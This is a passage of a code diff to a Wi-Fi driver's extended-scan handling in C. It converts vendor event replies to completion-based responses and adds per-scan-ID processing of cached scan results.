"maxRssiSampleSize (%u)", - pData->maxRssiSampleSize); - hddLog(VOS_TRACE_LEVEL_INFO, "maxScanReportingThreshold (%u)", - pData->maxScanReportingThreshold); - hddLog(VOS_TRACE_LEVEL_INFO, "maxHotlistAPs (%u)", pData->maxHotlistAPs); - hddLog(VOS_TRACE_LEVEL_INFO, "maxSignificantWifiChangeAPs (%u)", - pData->maxSignificantWifiChangeAPs); - hddLog(VOS_TRACE_LEVEL_INFO, "maxBsidHistoryEntries (%u)", - pData->maxBsidHistoryEntries); + vos_spin_lock_release(&hdd_context_lock); - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_CACHE_SIZE, - pData->scanCacheSize) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_BUCKETS, - pData->scanBuckets) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_AP_CACHE_PER_SCAN, - pData->maxApPerScan) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_RSSI_SAMPLE_SIZE, - pData->maxRssiSampleSize) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_REPORTING_THRESHOLD, - pData->maxScanReportingThreshold) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_APS, - pData->maxHotlistAPs) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SIGNIFICANT_WIFI_CHANGE_APS, - pData->maxSignificantWifiChangeAPs) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_BSSID_HISTORY_ENTRIES, - pData->maxBsidHistoryEntries)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); + return; +} + +/* + * define short names for the global vendor params + * used by wlan_hdd_send_ext_scan_capability() + */ +#define PARAM_REQUEST_ID \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID +#define PARAM_STATUS \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS +#define MAX_SCAN_CACHE_SIZE \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_CACHE_SIZE +#define MAX_SCAN_BUCKETS \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_BUCKETS +#define MAX_AP_CACHE_PER_SCAN \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_AP_CACHE_PER_SCAN +#define MAX_RSSI_SAMPLE_SIZE \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_RSSI_SAMPLE_SIZE +#define MAX_SCAN_RPT_THRHOLD \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_REPORTING_THRESHOLD +#define MAX_HOTLIST_BSSIDS \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_BSSIDS +#define MAX_BSSID_HISTORY_ENTRIES \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_BSSID_HISTORY_ENTRIES +#define MAX_HOTLIST_SSIDS \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_SSIDS +#define MAX_SIGNIFICANT_WIFI_CHANGE_APS \ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SIGNIFICANT_WIFI_CHANGE_APS + +static int wlan_hdd_send_ext_scan_capability(void *ctx) +{ + hdd_context_t *pHddCtx = (hdd_context_t *)ctx; + struct sk_buff *skb = NULL; + int ret; + tSirEXTScanCapabilitiesEvent *data; + tANI_U32 nl_buf_len; + + ret = wlan_hdd_validate_context(pHddCtx); + if (0 != ret) + { + return ret; + } + + data = &(pHddCtx->ext_scan_context.capability_response); + + nl_buf_len = NLMSG_HDRLEN; + nl_buf_len += (sizeof(data->requestId) + NLA_HDRLEN) + + (sizeof(data->status) + NLA_HDRLEN) + + (sizeof(data->scanCacheSize) + NLA_HDRLEN) + + (sizeof(data->scanBuckets) + NLA_HDRLEN) + + (sizeof(data->maxApPerScan) + NLA_HDRLEN) + + (sizeof(data->maxRssiSampleSize) + NLA_HDRLEN) + + (sizeof(data->maxScanReportingThreshold) + NLA_HDRLEN) + + (sizeof(data->maxHotlistAPs) + NLA_HDRLEN) + + (sizeof(data->maxBsidHistoryEntries) + NLA_HDRLEN) + + (sizeof(data->maxHotlistSSIDs) + NLA_HDRLEN); + + skb = cfg80211_vendor_cmd_alloc_reply_skb(pHddCtx->wiphy, nl_buf_len); + + if (!skb) + { + hddLog(LOGE, FL("cfg80211_vendor_cmd_alloc_reply_skb failed")); + return -ENOMEM; + } + + hddLog(LOG1, "Req Id (%u) Status (%u)", data->requestId, data->status); + hddLog(LOG1, "Scan cache size (%u) Scan buckets (%u) Max AP per scan (%u)", + data->scanCacheSize, data->scanBuckets, data->maxApPerScan); + hddLog(LOG1, "max_rssi_sample_size (%u) max_scan_reporting_threshold (%u)", + data->maxRssiSampleSize, data->maxScanReportingThreshold); + hddLog(LOG1, "max_hotlist_bssids (%u) max_bssid_history_entries (%u)" + "max_hotlist_ssids (%u)", data->maxHotlistAPs, + data->maxBsidHistoryEntries, data->maxHotlistSSIDs); + + if (nla_put_u32(skb, PARAM_REQUEST_ID, data->requestId) || + nla_put_u32(skb, PARAM_STATUS, data->status) || + nla_put_u32(skb, MAX_SCAN_CACHE_SIZE, data->scanCacheSize) || + nla_put_u32(skb, MAX_SCAN_BUCKETS, data->scanBuckets) || + nla_put_u32(skb, MAX_AP_CACHE_PER_SCAN, + data->maxApPerScan) || + nla_put_u32(skb, MAX_RSSI_SAMPLE_SIZE, + data->maxRssiSampleSize) || + nla_put_u32(skb, MAX_SCAN_RPT_THRHOLD, + data->maxScanReportingThreshold) || + nla_put_u32(skb, MAX_HOTLIST_BSSIDS, data->maxHotlistAPs) || + nla_put_u32(skb, MAX_BSSID_HISTORY_ENTRIES, + data->maxBsidHistoryEntries) || + nla_put_u32(skb, MAX_HOTLIST_SSIDS, data->maxHotlistSSIDs) || + nla_put_u32(skb, MAX_SIGNIFICANT_WIFI_CHANGE_APS, 0)) + { + hddLog(LOGE, FL("nla put fail")); goto nla_put_failure; } - cfg80211_vendor_event(skb, GFP_KERNEL); - EXIT(); - return; + cfg80211_vendor_cmd_reply(skb); + return 0; nla_put_failure: kfree_skb(skb); - return; + return -EINVAL;; } +/* + * done with short names for the global vendor params + * used by wlan_hdd_send_ext_scan_capability() + */ +#undef PARAM_REQUEST_ID +#undef PARAM_STATUS +#undef MAX_SCAN_CACHE_SIZE +#undef MAX_SCAN_BUCKETS +#undef MAX_AP_CACHE_PER_SCAN +#undef MAX_RSSI_SAMPLE_SIZE +#undef MAX_SCAN_RPT_THRHOLD +#undef MAX_HOTLIST_BSSIDS +#undef MAX_BSSID_HISTORY_ENTRIES +#undef MAX_HOTLIST_SSIDS static void wlan_hdd_cfg80211_extscan_start_rsp(void *ctx, void *pMsg) { tpSirEXTScanStartRspParams pData = (tpSirEXTScanStartRspParams) pMsg; hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; tpAniSirGlobal pMac = PMAC_STRUCT( pHddCtx->hHal ); + struct hdd_ext_scan_context *context; ENTER(); - if (wlan_hdd_validate_context(pHddCtx)){ + if (wlan_hdd_validate_context(pHddCtx)) return; - } + if (!pMsg) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START_INDEX, - GFP_KERNEL); - - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); hddLog(VOS_TRACE_LEVEL_INFO, "Status (%u)", pData->status); - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + if (context->request_id == pData->requestId) { + context->response_status = pData->status ? -EINVAL : 0; + complete(&context->response_event); } + spin_unlock(&hdd_context_lock); /* * Store the Request ID for comparing with the requestID obtained @@ -2321,14 +2426,8 @@ static void wlan_hdd_cfg80211_extscan_start_rsp(void *ctx, void *pMsg) if (pData->status == 0) pMac->sme.extScanStartReqId = pData->requestId; - - cfg80211_vendor_event(skb, GFP_KERNEL); EXIT(); return; - -nla_put_failure: - kfree_skb(skb); - return; } @@ -2336,111 +2435,77 @@ static void wlan_hdd_cfg80211_extscan_stop_rsp(void *ctx, void *pMsg) { tpSirEXTScanStopRspParams pData = (tpSirEXTScanStopRspParams) pMsg; hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; + struct hdd_ext_scan_context *context; ENTER(); if (wlan_hdd_validate_context(pHddCtx)){ return; } + if (!pMsg) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP_INDEX, - GFP_KERNEL); - - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id %u Status %u", pData->requestId, + pData->status); - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + if (context->request_id == pData->requestId) { + context->response_status = pData->status ? -EINVAL : 0; + complete(&context->response_event); } + spin_unlock(&hdd_context_lock); - cfg80211_vendor_event(skb, GFP_KERNEL); EXIT(); return; - -nla_put_failure: - kfree_skb(skb); - return; } - static void wlan_hdd_cfg80211_extscan_set_bss_hotlist_rsp(void *ctx, void *pMsg) { hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; tpSirEXTScanSetBssidHotListRspParams pData = (tpSirEXTScanSetBssidHotListRspParams) pMsg; + struct hdd_ext_scan_context *context; ENTER(); if (wlan_hdd_validate_context(pHddCtx)){ return; } + if (!pMsg) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST_INDEX, - GFP_KERNEL); - - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "Status (%u)", pData->status); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id %u Status %u", pData->requestId, + pData->status); - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + if (context->request_id == pData->requestId) { + context->response_status = pData->status ? -EINVAL : 0; + complete(&context->response_event); } + spin_unlock(&hdd_context_lock); - cfg80211_vendor_event(skb, GFP_KERNEL); EXIT(); return; - -nla_put_failure: - kfree_skb(skb); - return; } static void wlan_hdd_cfg80211_extscan_reset_bss_hotlist_rsp(void *ctx, void *pMsg) { hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; tpSirEXTScanResetBssidHotlistRspParams pData = (tpSirEXTScanResetBssidHotlistRspParams) pMsg; + struct hdd_ext_scan_context *context; ENTER(); @@ -2453,101 +2518,60 @@ static void wlan_hdd_cfg80211_extscan_reset_bss_hotlist_rsp(void *ctx, return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST_INDEX, - GFP_KERNEL); - - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id %u Status %u", pData->requestId, + pData->status); - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + if (context->request_id == pData->requestId) { + context->response_status = pData->status ? -EINVAL : 0; + complete(&context->response_event); } + spin_unlock(&hdd_context_lock); - cfg80211_vendor_event(skb, GFP_KERNEL); EXIT(); return; - -nla_put_failure: - kfree_skb(skb); - return; } - -static void wlan_hdd_cfg80211_extscan_set_signf_wifi_change_rsp(void *ctx, - void *pMsg) +static void wlan_hdd_cfg80211_extscan_set_ssid_hotlist_rsp(void *ctx, + void *pMsg) { - hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; - tpSirEXTScanSetSignificantChangeRspParams pData = - (tpSirEXTScanSetSignificantChangeRspParams) pMsg; - - ENTER(); + hdd_context_t *pHddCtx = (hdd_context_t *)ctx; + tpSirEXTScanSetSsidHotListRspParams pData = + (tpSirEXTScanSetSsidHotListRspParams) pMsg; + struct hdd_ext_scan_context *context; - if (wlan_hdd_validate_context(pHddCtx)) { + if (wlan_hdd_validate_context(pHddCtx)){ return; } + if (!pMsg) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE_INDEX, - GFP_KERNEL); - - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "Status (%u)", pData->status); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id %u Status %u", pData->requestId, + pData->status); - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + if (context->request_id == pData->requestId) { + context->response_status = pData->status ? -EINVAL : 0; + complete(&context->response_event); } + spin_unlock(&hdd_context_lock); - cfg80211_vendor_event(skb, GFP_KERNEL); - EXIT(); - return; - -nla_put_failure: - kfree_skb(skb); return; } - -static void wlan_hdd_cfg80211_extscan_reset_signf_wifi_change_rsp(void *ctx, - void *pMsg) +static void wlan_hdd_cfg80211_extscan_reset_ssid_hotlist_rsp(void *ctx, + void *pMsg) { hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; - tpSirEXTScanResetSignificantChangeRspParams pData = - (tpSirEXTScanResetSignificantChangeRspParams) pMsg; - - ENTER(); + tpSirEXTScanResetSsidHotlistRspParams pData = + (tpSirEXTScanResetSsidHotlistRspParams) pMsg; + struct hdd_ext_scan_context *context; if (wlan_hdd_validate_context(pHddCtx)) { return; @@ -2558,200 +2582,290 @@ static void wlan_hdd_cfg80211_extscan_reset_signf_wifi_change_rsp(void *ctx, return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE_INDEX, - GFP_KERNEL); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id %u Status %u", pData->requestId, + pData->status); - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "Status (%u)", pData->status); - - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS, pData->status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + if (context->request_id == pData->requestId) { + context->response_status = pData->status ? -EINVAL : 0; + complete(&context->response_event); } + spin_unlock(&hdd_context_lock); - cfg80211_vendor_event(skb, GFP_KERNEL); - EXIT(); - return; - -nla_put_failure: - kfree_skb(skb); return; } + static void wlan_hdd_cfg80211_extscan_cached_results_ind(void *ctx, void *pMsg) { hdd_context_t *pHddCtx = (hdd_context_t *)ctx; struct sk_buff *skb = NULL; - tANI_U32 i = 0, j, resultsPerEvent; + tANI_U32 i = 0, j, resultsPerEvent, scan_id_index; tANI_S32 totalResults; tpSirWifiScanResultEvent pData = (tpSirWifiScanResultEvent) pMsg; - tpSirWifiScanResult pSirWifiScanResult; + tpSirWifiScanResult pSirWifiScanResult, head_ptr; + struct hdd_ext_scan_context *context; + bool ignore_cached_results = false; + tExtscanCachedScanResult *result; + struct nlattr *nla_results; + tANI_U16 ieLength= 0; + tANI_U8 *ie = NULL; ENTER(); - if (wlan_hdd_validate_context(pHddCtx)) { + if (wlan_hdd_validate_context(pHddCtx)) return; - } + if (!pMsg) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); return; } - totalResults = pData->numOfAps; - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "Num results (%u)", pData->numOfAps); - hddLog(VOS_TRACE_LEVEL_INFO, "More Data (%u)", pData->moreData); + spin_lock(&hdd_context_lock); + context = &pHddCtx->ext_scan_context; + ignore_cached_results = context->ignore_cached_results; + spin_unlock(&hdd_context_lock); - do{ - resultsPerEvent = ((totalResults >= EXTSCAN_MAX_CACHED_RESULTS_PER_IND) ? - EXTSCAN_MAX_CACHED_RESULTS_PER_IND : totalResults); - totalResults -= EXTSCAN_MAX_CACHED_RESULTS_PER_IND; + if (ignore_cached_results) { + hddLog(LOGE, + FL("Ignore the cached results received after timeout")); + return; + } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS_INDEX, - GFP_KERNEL); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id %u More Data %u No of scan ids %u", + pData->requestId, pData->moreData, pData->scanResultSize); - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); - return; - } + result = (tExtscanCachedScanResult *)&(pData->result); - hddLog(VOS_TRACE_LEVEL_INFO, "resultsPerEvent (%u)", resultsPerEvent); + for (scan_id_index = 0; scan_id_index < pData->scanResultSize; + scan_id_index++) { + result+= scan_id_index; - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE, - resultsPerEvent)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } - if (nla_put_u8(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA, - pData->moreData ? 1 : (totalResults > 0 ? 1 : 0 ))) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } + totalResults = result->num_results; + hddLog(VOS_TRACE_LEVEL_INFO, "scan_id %u flags %u Num results %u", + result->scan_id, result->flags, totalResults); + i = 0; + + do{ + resultsPerEvent = ((totalResults >= EXTSCAN_MAX_CACHED_RESULTS_PER_IND) ? + EXTSCAN_MAX_CACHED_RESULTS_PER_IND : totalResults); + totalResults -= EXTSCAN_MAX_CACHED_RESULTS_PER_IND; + + skb = cfg80211_vendor_cmd_alloc_reply_skb(pHddCtx->wiphy, + EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN); + + if (!skb) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("cfg80211_vendor_event_alloc failed")); + return; + } - if (resultsPerEvent) { - struct nlattr *aps; + hddLog(VOS_TRACE_LEVEL_INFO, "resultsPerEvent (%u)", resultsPerEvent); - aps = nla_nest_start(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST); - if (!aps) + if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, + pData->requestId) || + nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE, + resultsPerEvent)) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u8(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA, + pData->moreData ? 1 : (totalResults > 0 ? 1 : 0 ))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); goto fail; } - for (j = 0; j < resultsPerEvent; j++, i++) { - struct nlattr *ap; - pSirWifiScanResult = (tpSirWifiScanResult) ((tANI_U8 *) - pData->ap + ( i* sizeof(tSirWifiScanResult))); - - hddLog(VOS_TRACE_LEVEL_INFO, "[index=%u] Timestamp(%llu) " - "Ssid (%s)" - "Bssid: %pM " - "Channel (%u)" - "Rssi (%d)" - "RTT (%u)" - "RTT_SD (%u)", - i, - pSirWifiScanResult->ts, - pSirWifiScanResult->ssid, - pSirWifiScanResult->bssid, - pSirWifiScanResult->channel, - pSirWifiScanResult->rssi, - pSirWifiScanResult->rtt, - pSirWifiScanResult->rtt_sd); - - ap = nla_nest_start(skb, j + 1); - if (!ap) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_SCAN_ID, + result->scan_id)) { + hddLog(LOGE, FL("put fail")); + goto fail; + } + + nla_results = nla_nest_start(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST); + if (!nla_results) + goto fail; + + if (resultsPerEvent) { + struct nlattr *aps; + struct nlattr *nla_result; + + nla_result = nla_nest_start(skb, scan_id_index); + if(!nla_result) + goto fail; - if (nla_put_u64(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP, - pSirWifiScanResult->ts) ) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } - if (nla_put(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID, - sizeof(pSirWifiScanResult->ssid), - pSirWifiScanResult->ssid) ) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } - if (nla_put(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID, - sizeof(pSirWifiScanResult->bssid), - pSirWifiScanResult->bssid) ) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } - if (nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL, - pSirWifiScanResult->channel) ) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } - if (nla_put_s32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI, - pSirWifiScanResult->rssi) ) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); - goto fail; - } if (nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT, - pSirWifiScanResult->rtt) ) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_SCAN_ID, + result->scan_id) || + nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_FLAGS, + result->flags) || + nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE, + totalResults)) { + hddLog(LOGE, FL("put fail")); goto fail; } - if (nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD, - pSirWifiScanResult->rtt_sd)) + + aps = nla_nest_start(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST); + if (!aps) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); goto fail; } - nla_nest_end(skb, ap); + head_ptr = (tpSirWifiScanResult) &(result->ap); + + for (j = 0; j < resultsPerEvent; j++, i++) { + struct nlattr *ap; + pSirWifiScanResult = head_ptr + i; + + /* + * Firmware returns timestamp from extscan_start till + * BSSID was cached (in micro seconds). Add this with + * time gap between system boot up to extscan_start + * to derive the time since boot when the + * BSSID was cached. + */ + pSirWifiScanResult->ts += + pHddCtx->extscan_start_time_since_boot; + hddLog(VOS_TRACE_LEVEL_INFO, "[index=%u] Timestamp(%llu) " + "Ssid (%s)" + "Bssid: %pM " + "Channel (%u)" + "Rssi (%d)" + "RTT (%u)" + "RTT_SD (%u)" + "Beacon Period %u" + "Capability 0x%x " + "Ie length %d", + i, + pSirWifiScanResult->ts, + pSirWifiScanResult->ssid, + pSirWifiScanResult->bssid, + pSirWifiScanResult->channel, + pSirWifiScanResult->rssi, + pSirWifiScanResult->rtt, + pSirWifiScanResult->rtt_sd, + pSirWifiScanResult->beaconPeriod, + pSirWifiScanResult->capability, + ieLength); + + ap = nla_nest_start(skb, j + 1); + if (!ap) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + + if (nla_put_u64(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP, + pSirWifiScanResult->ts) 